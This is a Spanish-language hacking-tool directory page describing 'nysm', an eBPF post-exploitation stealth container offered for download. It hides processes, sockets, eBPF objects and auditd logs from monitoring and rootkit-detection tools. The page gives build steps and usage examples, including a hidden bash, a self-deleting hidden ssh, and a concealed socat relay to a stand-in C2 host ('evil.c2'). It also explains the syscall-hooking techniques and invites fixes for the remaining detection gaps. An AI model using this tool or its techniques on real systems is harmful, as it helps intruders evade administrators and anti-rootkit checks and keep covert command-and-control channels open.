Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
nysm — Contenedor sigiloso basado en eBPF que oculta procesos, sockets, objetos eBPF y registros de auditoría de las herramientas de monitoreo del sistema, permitiendo operaciones encubiertas de post-explotación. | Kitploit
Herramientas/GitHubGitHub/eeriedusk/nysm
Seguridad de ContenedoresPost-ExplotaciónRed Teaming
GitHubeeriedusk/nysm

nysm

Contenedor sigiloso basado en eBPF que oculta procesos, sockets, objetos eBPF y registros de auditoría de las herramientas de monitoreo del sistema, permitiendo operaciones encubiertas de post-explotación.

Ver Repositorio
26837hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

nysm

nysm

Un contenedor sigiloso de post-explotación.

Tabla de contenido

  • 1. Introducción
  • 2. Instalación
    • 2.1 Requisitos
    • 2.2 Headers de Linux
    • 2.3 Compilación
  • 3. Uso
    • 3.1 Ejemplos
  • 4. Cómo funciona
    • 4.1 En general
    • 4.2 Ocultar objetos eBPF
    • 4.3 Ocultar registros de Auditd
    • 4.4 Ocultar PIDs
    • 4.5 Ocultar sockets
  • 5. Limitaciones

Introducción

Con el aumento en la popularidad de las herramientas ofensivas basadas en eBPF, desde ladrones de credenciales hasta rootkits que ocultan su propio PID, nos surgió una pregunta: ¿Sería posible hacer que eBPF sea invisible a sus propios ojos? A partir de ahí, creamos nysm, un contenedor sigiloso de eBPF diseñado para que las herramientas ofensivas pasen desapercibidas para los administradores de sistemas, no solo ocultando eBPF, sino mucho más:

  • bpftool
  • bpflist-bpfcc
  • ps
  • top
  • sockstat
  • ss
  • rkhunter
  • chkrootkit
  • lsof
  • auditd
  • etc…

Todas estas herramientas se vuelven ciegas ante lo que pasa por nysm. Oculta:

  • Nuevos programas eBPF ⚙️
  • Nuevos mapas eBPF 🗺️
  • Nuevos enlaces eBPF 🔗
  • Nuevos registros generados por Auditd 📰
  • Nuevos PIDs 🪪
  • Nuevos sockets 🔌

Advertencia Esta herramienta es una simple demostración de las capacidades de eBPF como tal. No pretende ser exhaustiva. No obstante, las solicitudes de extracción son más que bienvenidas.

Instalación

Requisitos

root@kitploit:~
sudo apt install git make pkg-config libelf-dev libzstd-dev clang llvm bpftool -y

Headers de Linux

root@kitploit:~
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

Compilación

root@kitploit:~
cd ./nysm/src/
make

Uso

nysm es un programa simple que se ejecuta antes del comando deseado:

root@kitploit:~
Uso: nysm [OPCIÓN...] COMANDO
Contenedor sigiloso eBPF.

  -d, --detach               Ejecutar COMANDO en segundo plano
  -r, --rm                   Autodestruirse después de la ejecución
  -v, --verbose              Producir salida detallada
  -h, --help                 Mostrar esta ayuda
      --usage                Mostrar un mensaje de uso breve

Ejemplos

Ejecutar una bash oculta:

root@kitploit:~
./nysm bash

Ejecutar un ssh oculto y eliminar ./nysm:

root@kitploit:~
./nysm -r ssh user@domain

Ejecutar un socat oculto como demonio y eliminar ./nysm:

root@kitploit:~
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443

Cómo funciona

En general

Como eBPF no puede sobrescribir valores devueltos o direcciones del kernel, nuestro objetivo es encontrar la llamada de nivel más bajo que interactúe con una dirección de espacio de usuario para sobrescribir su valor y ocultar los objetos deseados.

Para diferenciar los eventos de nysm de los demás, todo se ejecuta dentro de un espacio de nombres PID separado.

Ocultar objetos eBPF

bpftool tiene algunas características que nysm quiere evadir: bpftool prog list, bpftool map list y bpftool link list.

Como cualquier programa eBPF, bpftool utiliza la llamada al sistema bpf(), y más específicamente con los comandos BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID y BPF_LINK_GET_NEXT_ID. El resultado de estas llamadas se almacena en la dirección de espacio de usuario señalada por el argumento attr.

Para sobrescribir uattr, se establece un tracepoint en la entrada de bpf() para almacenar la dirección señalada en un mapa. Una vez hecho, espera el tracepoint de salida de bpf(). Cuando bpf() sale, nysm puede leer y escribir a través de la estructura bpf_attr. Después de cada BPF_*_GET_NEXT_ID, bpf_attr.start_id se reemplaza por bpf_attr.next_id.

Para ocultar IDs específicas, comprueba bpf_attr.next_id y lo reemplaza con la siguiente ID que no fue creada en nysm.

Las IDs de programas, mapas y enlaces se recogen de security_bpf_prog(), security_bpf_map() y bpf_link_prime().

Ocultar registros de Auditd

Auditd recibe sus registros de recvfrom() que almacena sus mensajes en un búfer.

Si el mensaje recibido fue generado por un proceso de nysm a través de audit_log_end(), reemplaza la longitud del mensaje en su cabecera nlmsghdr por 0.

Ocultar PIDs

Ocultar PIDs con eBPF no es nada nuevo. nysm oculta los nuevos PIDs de alloc_pid() de getdents64() en /proc cambiando la longitud del registro anterior.

Como getdents64() requiere iterar a través de todos sus archivos, el límite de instrucciones de eBPF se alcanza fácilmente. Por lo tanto, nysm utiliza llamadas en cola antes de alcanzarlo.

Ocultar sockets

Ocultar sockets es una palabra grande. De hecho, los sockets abiertos ya están ocultos para muchas herramientas porque no pueden encontrar el proceso en /proc. Sin embargo, ss usa socket() con la bandera NETLINK_SOCK_DIAG que devuelve todos los sockets actualmente abiertos. Después, ss recibe el resultado a través de recvmsg() en un búfer de mensajes y el valor devuelto es la longitud de todos estos mensajes combinados.

Aquí se aplica el mismo método que para los PIDs: se modifica la longitud del mensaje anterior para ocultar los sockets de nysm.

Estos se recogen de las llamadas connect() y bind().

Limitaciones

Incluso con el mejor esfuerzo, nysm todavía tiene algunas limitaciones.

  • Cualquier herramienta que no cierre sus descriptores de archivo detectará los procesos de nysm creados mientras están abiertos. Por ejemplo, si ./nysm bash se ejecuta antes que top, los procesos no aparecerán. Pero, si se crea otro proceso desde esa instancia de bash mientras top sigue en ejecución, el nuevo proceso será detectado. El mismo problema ocurre con sockets y herramientas como nethogs.

  • Registros del kernel: dmesg y /var/log/kern.log, el mensaje nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! aparecerá varias veces debido al verificador de eBPF en la ejecución de nysm.

  • Muchos rastros escritos en archivos quedan, ya que enganchar read() y write() sería demasiado pesado (pero aún posible). Por ejemplo /proc/net/tcp o /sys/kernel/debug/tracing/enabled_functions.

Por supuesto, muchas de estas limitaciones deben tener sus propias soluciones. Nuevamente, las solicitudes de extracción son más que bienvenidas.

Descargar herramienta
  • Ocultar recvmsg de ss puede ser desafiante, ya que un nuevo socket puede aparecer al inicio del búfer, y nysm no puede ocultarlo con un registro anterior (esto no aplica a PIDs). Una solución rápida podría ser intercambiar el primer socket con el siguiente legítimo, pero ¿qué pasa si un socket está solo en el búfer? Por lo tanto, nysm modifica la información del primer socket con valores fijos.

  • Ejecutar bpf() con cualquier tipo de bandera BPF_*_GET_NEXT_ID desde un proceso hijo de nysm debe evitarse, ya que ocultaría todos los objetos eBPF que no son de nysm.